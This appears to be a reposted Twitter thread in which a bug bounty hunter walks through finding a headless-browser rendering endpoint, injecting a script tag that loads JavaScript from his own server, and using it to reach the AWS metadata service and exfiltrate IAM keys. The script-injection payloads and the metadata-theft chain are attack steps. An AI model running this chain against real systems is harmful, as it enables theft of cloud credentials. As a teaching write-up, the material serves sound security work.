【twitter搬运】黑盒测试1
1/ The scope of this program was *.███.com
With a wildcard, basic recon is:
Subdomain Enumeration + HTTP server probing:
$ subfinder -d example[dot]com | httpx -o example.httpx
2/ HTTPX gave me 300 web-servers to target.
One stuck out to me:
hxxps://rendering-prd.redacted[.]com
"rendering" stuck out to me. Why?
Render means to "process information". Often to another format.
With web apps, it's typically HTML to another format.
3/ Next step:
I issued an HTTP request to the host:
$ curl -sk hxxps://rendering-prd.redacted[.]com
> <pre>Cannot GET /</pre>
NodeJS/Express
If you see this, it's NodeJS
.
Or, if you see the header => Server: Express
Well, what do we know about NodeJS web apps?
4/ Look at the code in this picture.
Routes are defined explicitly. In this example:
You must GET /one to get a response.
You must POST /two to get a valid response.
Brute-force with API routes and dictionary words.
(PS:
@assetnote
wrote about Contextual Content Discovery)
5/ You also must brute-force with different HTTP methods.
I love
@joohoi's FFUF for directory/endpoint brute-forcing.
By default, ffuf uses the GET method.
So, I started with that and filtered by the number of response words (6) on the 404 page:
6/ This resulted in nothing. Cool.
So I brute-forced with POST. (the command & the result are in the image)
Discovered the endpoint /render which accepts a POST request.
It responded with "400 Bad Request"
This means we (the client) made a bad HTTP request.
7/ So what are we missing?
Typically headers & parameters.
Start with the error message!
I copied the URL.
Went to Burp Repeater:
- Right Click => "Paste URL as Request"
- Changed GET to POST.
- Issued the HTTP request.
The error message said:
> "markup is invalid"
8/ I added markup=aaaa in the POST body:
A different error message!
> "render failure"
What is it expecting to render? I thought Markdown.
So, I put the following Markdown in the markup=
parameter:
> # header
Response:
> "render failure"
Hm. Not that. Maybe HTML?
9/ I gave it HTML instead:
test
> HTTP/1.1 200 OK
We're in business!
But what is rendering our HTML? Probably a headless browser!
Let's see if it will execute javascript. Hopefully 🤞
I gave it the following HTML:
<script src=hxxp://BURP_COLLAB/test.js></script>
10/ Success.
I got a request to /test.js
with the User-Agent: Chrome/75.x.xx
Running "whois" on the requesting IP address showed it was from AWS.
AWS has a meta-data server at 169.254.169.254.
It can be used to generate temporary access keys.
To an AWS environment.
11/ Hopefully the browser doesn't enforce the Same-Origin Policy
The idea is to send 2 XMLHttpRequests.
1 - To the meta-data server. (to grab the IAM role name)
2 - To our server, to exfiltrate the data from step 1.
This violates the Same-Origin Policy.
But often,
12/ Headless browsers don't care.
So, I tried this javascript
POST /render HTTP.1,1
markup=<script src="hxxps://myserver/pwn.js"></script>
The server responded: 200 OK
Checked Burp Collaborator and it worked! My server had a request to "/main-production-worker-iam-role"
So
13/ Let's grab those keys!
One last final HTTP request.
POST /render HTTP.1,1
markup=<script src="hxxps://myserver/pwn.js"></script>
The browser sent the AWS Keys to me (well, my collaborator instance).
Finally,
14/ I verified they worked:
$ export AWS_ACCESS_KEY_ID=
$ export AWS_SECRET_ACCESS_KEY=
$ export AWS_SESSION_TOKEN=
$ aws sts get-caller-identity
The keys worked.
And Scout2 proved I had access to too much 😃
Lessons:
- Context is King. THINK!
- To break you must first understand: Know your target's technologies & the services they use.
- Learn to code.